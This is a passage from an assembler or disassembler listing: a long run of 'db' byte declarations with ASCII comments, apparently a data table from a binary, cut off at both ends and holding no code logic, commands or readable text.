88h ; db 2 ; db 0C2h ; db 17h ; db 88h ; db 8 ; db 0C2h ; db 0E6h ; db 39h ; 9 db 0Bh ; db 0C2h ; db 0E7h ; db 28h ; ( db 18h ; db 0C2h ; db 0E7h ; db 2Ah ; * db 52h ; R db 0C2h ; db 0E7h ; db 3Eh ; > db 3 ; db 0C2h ; db 0EEh ; db 30h ; 0 db 2 ; db 0C2h ; db 0EEh ; db 30h ; 0 db 3 ; db 0C2h ; db 0EFh ; db 86h ; db 54h ; T db 0C2h ; db 18h ; db 0C1h ; db 22h ; " db 0C2h ; db 18h ; db 0C4h ; db 4Ah ; J db 0C2h ; db 18h ; db 0C4h ; db 4Dh ; M db 0C2h ; db 0F3h ; db 9Ah ; db 3Eh ; > db 0C2h ; db 0F5h ; db 65h ; e db 1 ; db 0C2h ; db 0F6h ; db 60h ; ` db 3Bh ; ; db 0C2h ; db 0F7h ; db 0A0h ; db 1 ; db 0C2h ; db 0F7h ; db 0A0h ; db 8 ; db 0C2h ; db 0F7h ; db 2Fh ; / db 2Fh ; / db 0C2h ; db 0F7h ; db 40h ; @ db 1 ; db 0C2h ; db 0F7h ; db 40h ; @ db 2 ; db 0C2h ; db 19h ; db 0 ; db 7Dh ; } db 0C2h ; db 19h ; db 0Fh ; db 0Bh ; db 0C2h ; db 19h ; db 2 ; db 82h ; db 0C2h ; db 0FAh ; db 0F9h ; db 0Eh ; db 0C2h ; db 0FBh ; db 0B6h ; db 3Bh ; ; db 0C2h ; db 3 ; db 0BEh ; db 1 ; db 0C2h ; db 26h ; & db 83h ; db 12h ; db 0C2h ; db 26h ; & db 83h ; db 3 ; db 0C2h ; db 27h ; ' db 0DAh ; db 2 ; db 0C2h ; db 27h ; ' db 0DBh ; db 2 ; db 0C2h ; db 29h ; ) db 3Ch ; < db 0Ah ; db 0C2h ; db 29h ; ) db 3Ch ; < db 10h ; db 0C2h ; db 2Dh ; - db 0C5h ; db 64h ; d db 0C2h ; db 2Eh ; . db 8 ; db 2 ; db 0C2h ; db 2Eh ; . db 8 ; db 3 ; db 0C2h ; db 33h ; 3 db 0EEh ; db 2 ; db 0C2h ; db 33h ; 3 db 3 ; db 31h ; 1 db 0C2h ; db 34h ; 4 db 1 ; db 0Ah ; db 0C2h ; db 34h ; 4 db 0Ah ; db 79h ; y db 0C2h ; db 34h ; 4 db 0ACh ; db 12h ; db 0C2h ; db 34h ; 4 db 0EDh ; db 0F2h ; db 0C2h ; db 37h ; 7 db 0DFh ; db 0F0h ; db 0C2h ; db 39h ; 9 db 89h ; db 72h ; r db 0C2h ; db 39h ; 9 db 0C6h ; db 0Dh ; db 0C2h ; db 3Bh ; ; db 0BCh ; db 11h ; db 0C2h ; db 6 ; db 80h ; db 3 ; db 0C2h ; db 6 ; db 80h ; db 4 ; db 0C2h ; db 6 ; db 4Fh ; O db 0A2h ; db 0C2h ; db 6 ; db 4Fh ; O db 0A3h ; db 0C2h ; db 40h ; @ db 0Fh ; db 1 ; db 0C2h ; db 41h ; A db 3 ; db 14h ; db 0C2h ; db 41h ; A db 3 ; db 15h ; db 0C2h ; db 43h ; C db 2 ; db 6Dh ; m db 0C2h ; db 43h ; C db 2 ; db 61h ; a db 0C2h ; db 43h ; C db 2 ; db 62h ; b db 0C2h ; db 43h ; C db 7 ; db 1 ; db 0C2h ; db 43h ; C db 51h ; Q db 7Ah ; z db 0C2h ; db 43h ; C db 51h ; Q db 40h ; @ db 0C2h ; db 45h ; E db 1 ; db 42h ; B db 0C2h ; db 45h ; E db 1 ; db 43h ; C db 0C2h ; db 7 ; db 1 ; db 13h ; db 0C2h ; db 7 ; db 0Fh ; db 42h ; B db 0C2h ; db 48h ; H db 17h ; db 0E4h ; db 0C2h ; db 48h ; H db 29h ; ) db 0AAh ; db 0C2h ; db 48h ; H db 29h ; ) db 0ABh ; db 0C2h ; db 48h ; H db 6 ; db 33h ; 3 db 0C2h ; db 48h ; H db 6 ; db 34h ; 4 db 0C2h ; db 49h ; I db 56h ; V db 0Eh ; db 0C2h ; db 49h ; I db 56h ; V db 0Fh ; db 0C2h ; db 4Dh ; M db 74h ; t db 1 ; db 0C2h ; db 4Dh ; M db 74h ; t db 7Ch ; | db 0C2h ; db 4Dh ; M db 92h ; db 81h ; db 0C2h ; db 4Dh ; M db 92h ; db 6 ; db 0C2h ; db 4Fh ; O db 45h ; E db 81h ; db 0C2h ; db 4Fh ; O db 45h ; E db 83h ; db 0C2h ; db 8 ; db 0C2h ; db 47h ; G db 0C2h ; db 8 ; db 8 ; db 0D7h ; db 0C2h ; db 51h ; Q db 0E3h ; db 0E2h ; db 0C2h ; db 54h ; T db 17h ; db 7Dh ; } db 0C2h ; db 54h ; T db 0F8h ; db 11h ; db 0C2h ; db 55h ; U db 77h ; w db 1 ; db 0C2h ; db 57h ; W db 0 ; db 8 ; db 0C2h ; db 57h ; W db 0 ; db 9 ; db 0C2h ; db 57h ; W db 4Ah ; J db 5 ; db 0C2h ; db 59h ; Y db 0CEh ; db 0Ah ; db 0C2h ; db 59h ; Y db 0CEh ; db 9 ; db 0C2h ; db 9 ; db 7Fh ;  db 14h ; db 0C2h ; db 5Ah ; Z db 1 ; db 5 ; db 0C2h ; db 5Bh ; [ db 4Dh ; M db 0C1h ; db 0C2h ; db 5Bh ; [ db 4Dh ; M db 0C2h ; db 0C2h ; db 5Dh ; ] db 0BEh ; db 7Bh ; { db 0C2h ; db 5Dh ; ] db 0BEh ; db 84h ; db 0C2h ; db 5Eh ; ^ db 0D6h ; db 4 ; db 0C2h ; db 5Eh ; ^ db 1Eh ; db 32h ; 2 db 0C2h ; db 5Fh ; _ db 68h ; h db 1 ; db 0C2h ; db 61h ; a db 6Dh ; m db 1 ; db 0C2h ; db 61h ; a db 0C8h ; db 14h ; db 0C2h ; db 61h ; a db 3 ; db 1 ; db 0C2h ; db 62h ; b db 0 ; db 1 ; db 0C2h ; db 62h ; b db 74h ; t db 1 ; db 0C2h ; db 62h ; b db 13h ; db 1 ; db 0C2h ; db 62h ; b db 41h ; A db 0A9h ; db 0C2h ; db 62h ; b db 41h ; A db 41h ; A db 0C2h ; db 62h ; b db 41h ; A db 45h ; E db 0C2h ; db 62h ; b db 55h ; U db 7 ; db 0C3h ; db 0Ah ; db 84h ; db 81h ; db 0C3h ; db 0Ah ; db 84h ; db 43h ; C db 0C3h ; db 65h ; e db 95h ; db 5 ; db 0C3h ; db 65h ; e db 0BEh ; db 7Ch ; | db 0C3h ; db 67h ; g db 0D4h ; db 0E8h ; db 0C3h ; db 6Eh ; n db 40h ; @ db 0Ah ; db 0C3h ; db 6Eh ; n db 40h ; @ db 0Bh ; db 0C3h ; db 70h ; p db 47h ; G db 96h ; db 0C3h ; db 70h ; p db 47h ; G db 0C8h ; db 0C3h ; db 71h ; q db 90h ; db 0C2h ; db 0C3h ; db 71h ; q db 90h ; db 0E9h ; db 0C3h ; db 72h ; r db 40h ; @ db 0C1h ; db 0C3h ; db 75h ; u db 0Eh ; db 0Eh ; db 0C3h ; db 79h ; y db 1 ; db 22h ; " db 0C3h ; db 7Eh ; ~ db 0C5h ; db 9 ; db 0C3h ; db 80h ; db 40h ; @ db 3 ; db 0C3h ; db 81h ; db 0Ch ; db 4Ah ; J db 0C3h ; db 81h ; db 0Ch ; db 52h ; R db 0C3h ; db 81h ; db 2 ; db 61h ; a db 0C3h ; db 0Dh ; db 0Ah ; db 0E2h ; db 0C3h ; db 82h ; db 0E0h ; db 12h ; db 0C3h ; db 84h ; db 0 ; db 84h ; db 0C3h ; db 84h ; db 0 ; db 0C1h ; db 0C3h ; db 85h ; db 0 ; db 8 ; db 0C3h ; db 88h ; db 0FAh ; db 0C8h ; db 0C3h ; db 88h ; db 0FAh ; db 0C9h ; db 0C3h ; db 0Eh ; db 82h ; db 0DCh ; db 0C3h ; db 0Eh ; db 85h ; db 0AAh ; db 0C3h ; db 0Eh ; db 9Bh ; db 18h ; db 0C3h ; db 0Eh ; db 9Bh ; db 4 ; db 0C3h ; db 8Dh ; db 38h ; 8 db 5 ; db 0C3h ; db 8Dh ; db 48h ; H db 82h ; db 0C3h ; db 8Fh ; db 6Ch ; l db 2 ; db 0C3h ; db 8Fh ; db 6Dh ; m db 2 ; db 0C3h ; db 92h ; db 64h ; d db 5 ; db 0C3h ; db 92h ; db 80h ; db 3Ch ; < db 0C3h ; db 92h ; db 84h ; db 3Bh ; ; db 0C3h ; db 92h ; db 63h ; c db 4 ; db 0C3h ; db 96h ; db 60h ; ` db 22h ; " db 0C3h ; db 9Ah ; db 0DFh ; db 1 ; db 0C3h ; db 9Ah ; db 0EDh ; db 0E4h ; db 0C3h ; db 9Bh ; db 1 ; db 3 ; db 0C3h ; db 9Bh ; db 1 ; db 4 ; db 0C3h ; db 9Eh ; db 0A0h ; db 2 ; db 0C3h ; db 9Fh ; db 42h ; B db 21h ; ! db 0C3h ; db 0A1h ; db 0 ; db 87h ; db 0C3h ; db 0A1h ; db 3 ; db 16h ; db 0C3h ; db 0A3h ; db 8Ch ; db 56h ; V db 0C3h ; db 0A6h ; db 0Dh ; db 84h ; db 0C3h ; db 0A6h ; db 0Dh ; db 4 ; db 0C3h ; db 0A6h ; db 3Ah ; : db 0CAh ; db 0C3h ; db 0A8h ; db 1 ; db 2 ; db 0C3h ; db 0A8h ; db 1 ; db 4 ; db 0C3h ; db 11h ; db 12h ; db 82h ; db 0C3h ; db 0AAh ; db 0 ; db 2 ; db 0C3h ; db 0AAh ; db 2 ; db 1 ; db 0C3h ; db 0B2h ; db 88h ; db 17h ; db 0C3h ; db 0B2h ; db 40h ; @ db 38h ; 8 db 0C3h ; db 0B4h ; db 0D2h ; db 16h ; db 0C3h ; db 0B4h ; db 0D2h ; db 2Bh ; + db 0C3h ; db 0B6h ; db 72h ; r db 0Ch ; db 0C3h ; db 0B6h ; db 60h ; ` db 1Ch ; db 0C3h ; db 0B6h ; db 60h ; ` db 1Dh ; db 0C3h ; db 0B6h ; db 60h ; ` db 3Ch ; < db 0C3h ; db 0B6h ; db 60h ; ` db 3Dh ; = db 0C3h ; db 0B8h ; db 8Fh ; db 0F2h ; db 0C3h ; db 0B8h ; db 2Ch ; , db 12h ; db 0C3h ; db 0B8h ; db 2Ch ; , db 22h ; " db 0C3h ; db 0BBh ; db 0F5h ; db 33h ; 3 db 0C3h ; db 0BCh ; db 20h ; db 12h ; db 0C3h ; db 0BCh ; db 20h ; db 4 ; db 0C3h ; db 0BDh ; db 0 ; db 27h ; ' db 0C3h ; db 0BDh ; db 1 ; db 27h ; ' db 0C3h ; db 0C7h ; db 0 ; db 79h ; y db 0C3h ; db 0C7h ; db 0 ; db 7Dh ; } db 0C3h ; db 14h ; db 0E0h ; db 61h ; a db 0C3h ; db 14h ; db 0E0h ; db 62h ; b db 0C3h ; db 14h ; db 0E1h ; db 22h ; " db 0C3h ; db 0CEh ; db 42h ; B db 92h ; db 0C3h ; db 15h ; db 0FFh ; db 8 ; db 0C3h ; db 0D3h ; db 0D3h ; db 22h ; " db 0C3h ; db 0D7h ; db 1Eh ; db 42h ; B db 0C3h ; db 0DCh ; db 0EEh ; db 14h ; db 0C3h ; db 0DCh ; db 3Bh ; ; db 2 ; db 0C3h ; db 0DCh ; db 3Bh ; ; db 6 ; db 0C3h ; db 0DEh ; db 0 ; db 1 ; db 0C3h ; db 0DEh ; db 0D2h ; db 5Dh ; ] db 0C3h ; db 0DFh ; db 22h ; " db 0Ah ; db 0C3h ; db 0DFh ; db 22h ; " db 0Ch ; db 0C3h ; db 0E0h ; db 0FFh ; db 2 ; db 0C3h ; db 0E0h ; db 0FFh ; db 6 ; db 0C3h ; db 0E0h ; db 0FFh ; db 5Eh ; ^ db 0C3h ; db 0E6h ; db 96h ; db 46h ; F db 0C3h ; db 0E6h ; db 96h ; db 56h ; V db 0C3h ; db 0E8h ; db 0 ; db 9Ah ; db 0C3h ; db 0E8h ; db 40h ; @ db 4 ; db 0C3h ; db 0E9h ; db 81h ; db 1 ; db 0C3h ; db 0E9h ; db 81h ; db 2 ; db 0C3h ; db 0EEh ; db 0E0h ; db 1 ; db 0C3h ; db 0EEh ; db 0F0h ; db 1 ; db 0C3h ; db 0EEh ; db 3 ; db 11h ; db 0C3h ; db 0EEh ; db 3 ; db 12h ; db 0C3h ; db 0EEh ; db 3 ; db 13h ; db 0C3h ; db 0EEh ; db 3 ; db 14h ; db 0C3h ; db 0F1h ; db 30h ; 0 db 21h ; ! db 0C3h ; db 0F2h ; db 2 ; db 2 ; db 0C3h ; db 0F2h ; db 2 ; db 3 ; db 0C3h ; db 19h ; db 0EEh ; db 86h ; db 0C3h ; db 0FCh ; db 80h ; db 0Bh ; db 0C3h ; db 0FCh ; db 80h ; db 37h ; 7 db 0C3h ; db 1Bh ; db 4Ah ; J db 47h ; G db 0C3h ; db 1Dh ; db 96h ; db 3 ; db 0C3h ; db 1Dh ; db 96h ; db 4 ; db 0C3h ; db 1Dh ; db 9Fh ; db 0Fh ; db 0C3h ; db 3 ; db 6Ch ; l db 1 ; db 0C3h ; db 3 ; db 6Ch ; l db 2 ; db 0C3h ; db 3 ; db 60h ; ` db 43h ; C db 0C3h ; db 3 ; db 60h ; ` db 44h ; D db 0C3h ; db 1Eh ; db 0 ; db 1 ; db 0C3h ; db 1Fh ; db 0BEh ; db 1Fh ; db 0C3h ; db 22h ; " db 85h ; db 0Ah ; db 0C3h ; db 22h ; " db 85h ; db 0Bh ; db 0C3h ; db 22h ; " db 0A8h ; db 2 ; db 0C3h ; db 22h ; " db 20h ; db 0Ah ; db 0C3h ; db 26h ; & db 86h ; db 19h ; db 0C3h ; db 26h ; & db 20h ; db 2 ; db 0C3h ; db 26h ; & db 21h ; ! db 2 ; db 0C3h ; db 28h ; ( db 0 ; db 0FAh ; db 0C3h ; db 28h ; ( db 1 ; db 0FAh ; db 0C3h ; db 2Ah ; * db 0C6h ; db 0Ah ; db 0C3h ; db 2Ah ; * db 0C6h ; db 5 ; db 0C3h ; db 2Ch ; , db 2Eh ; . db 22h ; " db 0C3h ; db 5 ; db 28h ; ( db 83h ; db 0C3h ; db 32h ; 2 db 8Ch ; db 5 ; db 0C3h ; db 32h ; 2 db 95h ; db 20h ; db 0C3h ; db 36h ; 6 db 7Ah ; z db 0C1h ; db 0C3h ; db 36h ; 6 db 7Ah ; z db 0C2h ; db 0C3h ; db 3Ah ; : db 67h ; g db 6Fh ; o db 0C3h ; db 3Ah ; : db 0A2h ; db 5Ch ; \ db 0C3h ; db 3Ah ; : db 0B0h ; db 4Dh ; M db 0C3h ; db 3Ah ; : db 60h ; ` db 22h ; " db 0C3h ; db 6 ; db 3Ah ; : db 3Dh ; = db 0C3h ; db 6 ; db 3Ah ; : db 3Eh ; > db 0C3h ; db 41h ; A db 14h ; db 0FAh ; db 0C3h ; db 44h ; D db 0 ; db 0Bh ; db 0C3h ; db 44h ; D db 0 ; db 0Ch ; db 0C3h ; db 46h ; F db 0A4h ; db 82h ; db 0C3h ; db 46h ; F db 0B1h ; db 0C1h ; db 0C3h ; db 46h ; F db 40h ; @ db 17h ; db 0C3h ; db 46h ; F db 40h ; @ db 19h ; db 0C3h ; db 4Ah ; J db 0 ; db 0Ah ; db 0C3h ; db 4Ah ; J db 0 ; db 37h ; 7 db 0C3h ; db 4Eh ; N db 0A1h ; db 1 ; db 0C3h ; db 50h ; P db 0C0h ; db 1 ; db 0C3h ; db 51h ; Q db 26h ; & db 0Ah ; db 0C3h ; db 52h ; R db 0C3h ; db 63h ; c db 0C3h ; db 5Ah ; Z db 40h ; @ db 2 ; db 0C3h ; db 5Ch ; \ db 0C3h ; db 0DEh ; db 0C3h ; db 5Eh ; ^ db 58h ; X db 0FEh ; db 0C3h ; db 5Eh ; ^ db 5Ah ; Z db 0Ah ; db 0C3h ; db 63h ; c db 7Dh ; } db 0CDh ; db 0C3h ; db 63h ; c db 41h ; A db 0D4h ; db 0C3h ; db 63h ; c db 42h ; B db 0D3h ; db 0C3h ; db 63h ; c db 5Eh ; ^ db 1 ; db 0C4h ; db 1 ; db 45h ; E db 64h ; d db 0C4h ; db 1 ; db 45h ; E db 62h ; b db 0C4h ; db 16h ; db 0A4h ; db 8 ; db 0C4h ; db 19h ; db 1 ; db 1 ; db 0C4h ; db 19h ; db 1 ; db 9 ; db 0C4h ; db 3 ; db 33h ; 3 db 0E6h ; db 0C4h ; db 4 ; db 0A0h ; db 2 ; db 0C4h ; db 4 ; db 0A0h ; db 8 ; db 0C4h ; db 28h ; ( db 1Fh ; db 42h ; B db 0C4h ; db 28h ; ( db 1Fh ; db 43h ; C db 0C4h ; db 7 ; db 0 ; db 8Bh ; db 0C4h ; db 7 ; db 8Eh ; db 85h ; db 0C6h ; db 65h ; e db 20h ; db 12h ; db 0C6h ; db 66h ; f db 70h ; p db 0Bh ; db 0C6h ; db 66h ; f db 56h ; V db 4 ; db 0C6h ; db 67h ; g db 61h ; a db 1 ; db 0C6h ; db 68h ; h db 7Ah ; z db 8 ; db 0C6h ; db 6Bh ; k db 0 ; db 0Eh ; db 0C6h ; db 6Bh ; k db 0Ch ; db 0Bh ; db 0C6h ; db 6Ch ; l db 1 ; db 2Ah ; * db 0C6h ; db 6Ch ; l db 82h ; db 5 ; db 0C6h ; db 6Ch ; l db 45h ; E db 13h ; db 0C6h ; db 6Dh ; m db 24h ; $ db 3 ; db 0C6h ; db 0Bh ; db 4 ; db 1 ; db 0C6h ; db 6Fh ; o db 98h ; db 42h ; B db 0C6h ; db 6Fh ; o db 11h ; db 0FCh ; db 0C6h ; db 6Fh ; o db 0B0h ; db 4 ; db 0C6h ; db 6Fh ; o db 0B4h ; db 4 ; db 0C6h ; db 6Fh ; o db 0B8h ; db 2 ; db 0C6h ; db 6Fh ; o db 0C4h ; db 83h ; db 0C6h ; db 6Fh ; o db 0C4h ; db 22h ; " db 0C6h ; db 6Fh ; o db 0C8h ; db 6 ; db 0C6h ; db 6Fh ; o db 0C8h ; db 7 ; db 0C6h ; db 6Fh ; o db 0CCh ; db 16h ; db 0C6h ; db 6Fh ; o db 0D1h ; db 0C8h ; db 0C6h ; db 6Fh ; o db 0F0h ; db 5 ; db 0C6h ; db 6Fh ; o db 0F4h ; db 2 ; db 0C6h ; db 6Fh ; o db 1Ch ; db 12h ; db 0C6h ; db 6Fh ; o db 20h ; db 2 ; db 0C6h ; db 6Fh ; o db 24h ; $ db 0Bh ; db 0C6h ; db 6Fh ; o db 24h ; $ db 0Eh ; db 0C6h ; db 6Fh ; o db 24h ; $ db 13h ; db 0C6h ; db 6Fh ; o db 2Bh ; + db 14h ; db 0C6h ; db 6Fh ; o db 2Dh ; - db 74h ; t db 0C6h ; db 6Fh ; o db 2Dh ; - db 10h ; db 0C6h ; db 6Fh ; o db 38h ; 8 db 9 ; db 0C6h ; db 6Fh ; o db 3Fh ; ? db 2Ch ; , db 0C6h ; db 74h ; t db 6Fh ; o db 6 ; db 0C6h ; db 74h ; t db 41h ; A db 0F1h ; db 0C6h ; db 80h ; db 2 ; db 0Ah ; db 0C6h ; db 0Dh ; db 0Ah ; db 1 ; db 0C6h ; db 85h ; db 0C7h ; db 3 ; db 0C6h ; db 85h ; db 0C7h ; db 4 ; db 0C6h ; db 89h ; db 0DDh ; db 1 ; db 0C6h ; db 89h ; db 0DDh ; db 4 ; db 0C6h ; db 89h ; db 0DDh ; db 5 ; db 0C6h ; db 89h ; db 0F9h ; db 3Eh ; > db 0C6h ; db 8Dh ; db 1Ch ; db 44h ; D db 0C6h ; db 92h ; db 3 ; db 1 ; db 0C6h ; db 93h ; db 0DDh ; db 22h ; " db 0C6h ; db 93h ; db 0DDh ; db 23h ; # db 0C6h ; db 93h ; db 4Bh ; K db 2 ; db 0C6h ; db 93h ; db 4Ch ; L db 41h ; A db 0C6h ; db 97h ; db 0Ch ; db 0Fh ; db 0C6h ; db 97h ; db 0Dh ; db 0Fh ; db 0C6h ; db 97h ; db 0F8h ; db 0B7h ; db 0C6h ; db 97h ; db 0F8h ; db 0F3h ; db 0C6h ; db 98h ; db 0Ch ; db 63h ; c db 0C6h ; db 98h ; db 0Dh ; db 63h ; c db 0C6h ; db 9Bh ; db 0DFh ; db 5 ; db 0C6h ; db 0A1h ; db 66h ; f db 15h ; db 0C6h ; db 0A1h ; db 66h ; f db 22h ; " db 0C6h ; db 0A1h ; db 9Ch ; db 1 ; db 0C6h ; db 0A1h ; db 9Dh ; db 74h ; t db 0C6h ; db 0A1h ; db 20h ; db 15h ; db 0C6h ; db 0A1h ; db 2Ch ; , db 14h ; db 0C6h ; db 0A1h ; db 6 ; db 0Bh ; db 0C6h ; db 0A1h ; db 6 ; db 8 ; db 0C6h ; db 0A3h ; db 0E3h ; db 2 ; db 0C6h ; db 0A3h ; db 0E3h ; db 4 ; db 0C6h ; db 0A3h ; db 0E8h ; db 0FDh ; db 0C6h ; db 0A3h ; db 0E8h ; db 0FEh ; db 0C6h ; db 0A4h ; db 1Eh ; db 2 ; db 0C6h ; db 0A4h ; db 4 ; db 2 ; db 0C6h ; db 0A5h ; db 3Fh ; ? db 0FEh ; db 0C6h ; db 0A6h ; db 0D7h ; db 2 ; db 0C6h ; db 0A8h ; db 0FAh ; db 1Bh ; db 0C6h ; db 0A8h ; db 36h ; 6 db 8 ; db 0C6h ; db 0A8h ; db 49h ; I db 8 ; db 0C6h ; db 11h ; db 0F9h ; db 5 ; db 0C6h ; db 11h ; db 5 ; db 0Ch ; db 0C6h ; db 11h ; db 39h ; 9 db 46h ; F db 0C6h ; db 11h ; db 4Bh ; K db 30h ; 0 db 0C6h ; db 0ACh ; db 52h ; R db 0Dh ; db 0C6h ; db 0AFh ; db 38h ; 8 db 0C8h ; db 0C6h ; db 0B0h ; db 0AEh ; db 0B5h ; db 0C6h ; db 0B0h ; db 0AEh ; db 0BDh ; db 0C6h ; db 0B2h ; db 8 ; db 0A7h ; db 0C6h ; db 0B2h ; db 8 ; db 0A8h ; db 0C6h ; db 0B4h ; db 0C8h ; db 0CDh ; db 0C6h ; db 0B6h ; db 8Ch ; db 3 ; db 0C6h ; db 0B6h ; db 9Fh ; db 7 ; db 0C6h ; db 0B6h ; db 9Fh ; db 8 ; db 0C6h ; db 0BBh ; db 0CBh ; db 0A7h ; db 0C6h ; db 0BBh ; db 0CBh ; db 3Eh ; > db 0C6h ; db 0BEh ; db 0E2h ; db 3 ; db 0C6h ; db 0BEh ; db 0E2h ; db 1Eh ; db 0C6h ; db 0C7h ; db 0C7h ; db 7 ; db 0C6h ; db 0C7h ; db 0C7h ; db 8 ; db 0C6h ; db 0C7h ; db 0EDh ; db 91h ; db 0C6h ; db 0C8h ; db 99h ; db 4 ; db 0C6h ; db 0C9h ; db 17h ; db 0Ah ; db 0C6h ; db 0CAh ; db 4Bh ; K db 1Ah ; db 0C6h ; db 0CBh ; db 0C4h ; db 43h ; C db 0C6h ; db 0CCh ; db 8Eh ; db 41h ; A db 0C6h ; db 0CEh ; db 0F6h ; db 3Bh ; ; db 0C6h ; db 0CEh ; db 0F6h ; db 3Ch ; < db 0C6h ; db 0CFh ; db 0A9h ; db 1 ; db 0C6h ; db 0CFh ; db 0A9h ; db 2 ; db 0C6h ; db 0D7h ; db 7Fh ;  db 2 ; db 0C6h ; db 16h ; db 1 ; db 6Ch ; l db 0C6h ; db 16h ; db 99h ; db 81h ; db 0C6h ; db 16h ; db 13h ; db 2 ; db 0C6h ; db 16h ; db 13h ; db 3 ; db 0C6h ; db 17h ; db 5 ; db 94h ; db 0C6h ; db 0E8h ; db 8Bh ; db 0E1h ; db 0C6h ; db 0E8h ; db 0D3h ; db 0Bh ; db 0C6h ; db 0E8h ; db 0D3h ; db 11h ; db 0C6h ; db 0E9h ; db 0Ah ; db 0Ah ; db 0C6h ; db 0E9h ; db 0Ah ; db 14h ; db 0C6h ; db 0EBh ; db 0D8h ; db 1 ; db 0C6h ; db 0EBh ; db 0D8h ; db 82h ; db 0C6h ; db 0EBh ; db 0D8h ; db 83h ; db 0C6h ; db 0EBh ; db 0D8h ; db 2 ; db 0C6h ; db 0ECh ; db 0FEh ; db 85h ; db 0C6h ; db 0ECh ; db 4 ; db 65h ; e db 0C6h ; db 0F0h ; db 82h ; db 47h ; G db 0C6h ; db 0F0h ; db 0D4h ; db 0C8h ; db 0C6h ; db 0F0h ; db 0D5h ; db 0C8h ; db 0C6h ; db 0F2h ; db 0F8h ; db 2 ; db 0C6h ; db 0F2h ; db 0F8h ; db 3 ; db 0C6h ; db 0F3h ; db 35h ; 5 db 2 ; db 0C6h ; db 0F3h ; db 35h ; 5 db 7 ; db 0C6h ; db 0F5h ; db 20h ; db 0Bh ; db 0C6h ; db 0F5h ; db 20h ; db 0Ch ; db 0C6h ; db 0F6h ; db 60h ; ` db 3Dh ; = db 0C6h ; db 0F6h ; db 60h ; ` db 5Ch ; \ db 0C6h ; db 0F7h ; db 0E1h ; db 0FBh ; db 0C6h ; db 0FCh ; db 20h ; db 6Eh ; n db 0C6h ; db 0FCh ; db 20h ; db 14h ; db 0C6h ; db 0FDh ; db 10h ; db 23h ; # db 0C6h ; db 0FDh ; db 28h ; ( db 3 ; db 0C6h ; db 3 ; db 88h ; db 0Ah ; db 0C6h ; db 3 ; db 0C8h ; db 9 ; db 0C6h ; db 3 ; db 62h ; b db 0FAh ; db 0C6h ; db 3 ; db 62h ; b db 0FBh ; db 0C6h ; db 1Eh ; db 0D9h ; db 0Ah ; db 0C6h ; db 1Eh ; db 1Dh ; db 7 ; db 0C6h ; db 1Eh ; db 1Dh ; db 8 ; db 0C6h ; db 1Eh ; db 52h ; R db 0ADh ; db 0C6h ; db 1Eh ; db 52h ; R db 0AEh ; db 0C6h ; db 1Fh ; db 70h ; p db 0Ch ; db 0C6h ; db 1Fh ; db 70h ; p db 7 ; db 0C6h ; db 1Fh ; db 81h ; db 2 ; db 0C6h ; db 1Fh ; db 81h ; db 3 ; db 0C6h ; db 1Fh ; db 88h ; db 5 ; db 0C6h ; db 1Fh ; db 88h ; db 6 ; db 0C6h ; db 1Fh ; db 10h ; db 2 ; db 0C6h ; db 1Fh ; db 0B5h ; db 6 ; db 0C6h ; db 1Fh ; db 0B5h ; db 8 ; db 0C6h ; db 1Fh ; db 0C0h ; db 42h ; B db 0C6h ; db 1Fh ; db 0CDh ; db 7 ; db 0C6h ; db 1Fh ; db 0CDh ; db 9 ; db 0C6h ; db 1Fh ; db 0D2h ; db 0Ah ; db 0C6h ; db 1Fh ; db 0F8h ; db 82h ; db 0C6h ; db 1Fh ; db 0F8h ; db 86h ; db 0C6h ; db 1Fh ; db 0FFh ; db 0FEh ; db 0C6h ; db 1Fh ; db 25h ; % db 1 ; db 0C6h ; db 1Fh ; db 25h ; % db 0Bh ; db 0C6h ; db 1Fh ; db 2Ch ; , db 3 ; db 0C6h ; db 1Fh ; db 40h ; @ db 3 ; db 0C6h ; db 1Fh ; db 57h ; W db 18h ; db 0C6h ; db 1Fh ; db 57h ; W db 3 ; db 0C6h ; db 20h ; db 2 ; db 0Ah ; db 0C6h ; db 20h ; db 4 ; db 0Dh ; db 0C6h ; db 24h ; $ db 0D9h ; db 2 ; db 0C6h ; db 24h ; $ db 0D9h ; db 3 ; db 0C6h ; db 4 ; db 9Fh ; db 0Ah ; db 0C6h ; db 4 ; db 4Bh ; K db 64h ; d db 0C6h ; db 4 ; db 4Bh ; K db 45h ; E db 0C6h ; db 4 ; db 53h ; S db 23h ; # db 0C6h ; db 4 ; db 5Ch ; \ db 1 ; db 0C6h ; db 4 ; db 5Eh ; ^ db 1 ; db 0C6h ; db 29h ; ) db 0 ; db 4 ; db 0C6h ; db 29h ; ) db 3 ; db 6Ch ; l db 0C6h ; db 29h ; ) db 3 ; db 27h ; ' db 0C6h ; db 31h ; 1 db 9Dh ; db 25h ; % db 0C6h ; db 31h ; 1 db 9Dh ; db 45h ; E db 0C6h ; db 31h ; 1 db 0D7h ; db 15h ; db 0C6h ; db 31h ; 1 db 0DAh ; db 14h ; db 0C6h ; db 31h ; 1 db 0DCh ; db 51h ; Q db 0C6h ; db 31h ; 1 db 1Eh ; db 21h ; ! db 0C6h ; db 33h ; 3 db 76h ; v db 0Bh ; db 0C6h ; db 33h ; 3 db 0Dh ; db 2 ; db 0C6h ; db 33h ; 3 db 0Dh ; db 3 ; db 0C6h ; db 33h ; 3 db 0AFh ; db 13h ; db 0C6h ; db 33h ; 3 db 0AFh ; db 20h ; db 0C6h ; db 33h ; 3 db 0FBh ; db 0Ch ; db 0C6h ; db 33h ; 3 db 0FBh ; db 0Dh ; db 0C6h ; db 33h ; 3 db 31h ; 1 db 0Ah ; db 0C6h ; db 35h ; 5 db 40h ; @ db 0Eh ; db 0C6h ; db 6 ; db 1 ; db 72h ; r db 0C6h ; db 6 ; db 1 ; db 73h ; s db 0C6h ; db 6 ; db 1 ; db 9Ah ; db 0C6h ; db 6 ; db 1 ; db 0A1h ; db 0C6h ; db 6 ; db 1 ; db 0A2h ; db 0C6h ; db 6 ; db 1 ; db 12h ; db 0C6h ; db 6 ; db 1 ; db 0B5h ; db 0C6h ; db 6 ; db 1 ; db 0B6h ; db 0C6h ; db 6 ; db 1 ; db 13h ; db 0C6h ; db 6 ; db 1 ; db 0CAh ; db 0C6h ; db 6 ; db 1 ; db 41h ; A db 0C6h ; db 6 ; db 1 ; db 51h ; Q db 0C6h ; db 6 ; db 1 ; db 52h ; R db 0C6h ; db 6 ; db 1 ; db 53h ; S db 0C6h ; db 6 ; db 64h ; d db 15h ; db 0C6h ; db 6 ; db 64h ; d db 25h ; % db 0C6h ; db 6 ; db 31h ; 1 db 6Fh ; o db 0C6h ; db 6 ; db 31h ; 1 db 5 ; db 0C6h ; db 3Ch ; < db 16h ; db 2 ; db 0C6h ; db 3Ch ; < db 16h ; 